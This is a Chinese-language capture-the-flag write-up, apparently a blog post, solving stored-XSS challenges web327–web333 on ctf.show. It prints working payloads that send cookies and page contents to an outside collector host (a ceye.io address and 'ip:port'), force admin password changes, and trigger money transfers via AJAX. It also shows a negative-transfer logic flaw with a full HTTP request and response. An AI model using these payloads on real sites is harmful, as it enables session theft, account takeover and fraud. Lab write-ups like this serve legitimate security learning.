存储型漏洞
web327
这道题貌似和反射型的xss差不多,直接打就行
web328
body 和svg的好像不行
<script>window.open('http://ceye地址/'+document.cookie)</script>
<script>window.open('http://hrcgnc.ceye.io/'+document.cookie)</script>
先注册,密码多于6位很明显在这里
但是不知道注册还是登录
管他的注册和登录密码都用xss打一遍
替换cookie
就可以了
貌似是必须要登录才可以
web329
发送给你cookie马上就会失效就不能伪造了
那么要写个能获取所有页面内容的payload
<script>location.href="http://ip:port/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML</script>
innerHTML 是一个属性,用于获取该元素的内部 HTML 内容,即该元素包含的所有 HTML 标签及文本内容。
python3 -m http.server 9999
爆flag了
web330
还是读取所有内容
用户名和密码都写这个,我是这样子才成功的不知道为啥
<script>location.href="http://ip:port/"+document.getElementsByClassName('layui-container')[0].outerHTML</script>
outerHTML 是一个属性,用于获取该元素的完整 HTML 内容,包括其自身的开始标签、结束标签及其内部的所有 HTML 结构。
url解码就行
修改密码
<script>location.href="http://127.0.0.1/api/change.php?p=123456"</script>
一样的操作,然后登录即可,
username:admin
passwd:123456
web331
改密码,请求方式为POST
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>
除了payload换了其他的操作和上题一样
web332
改不了密码了,那么这里其实是个很抽象的逻辑漏洞就是给别人转负的钱让自己钱增多
注册个账号然后随便给其他人转个负数
web333
自己给自己转钱逻辑漏洞,但是不能大于自己所有的金额数
注册账号提交之后给自己转账
Request:
POST /api/amount.php HTTP/1.1
Host: febddd48-db0a-4356-9c57-c49967f49c5b.challenge.ctf.show
Cookie: PHPSESSID=6fviq4tur5ec2np8b19jvhju8h
Content-Length: 18
Cache-Control: max-age=0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://febddd48-db0a-4356-9c57-c49967f49c5b.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://febddd48-db0a-4356-9c57-c49967f49c5b.challenge.ctf.show/transfer.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
u=baozongwi&a=8100
Response:
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Wed, 17 Jul 2024 08:40:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 12
交易成功
那么我们已知是POST传参,那么我们找到相应的payload,给转钱
异步xss
<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>
先注册一个111的账号,然后再用xss的payload进行注册,再者登录就会转111一万块了,只可以登录回去买flag了
标签:Control,web,http,xss,--,Content,Sec,Access From: https://blog.csdn.net/2301_81040377/article/details/140494888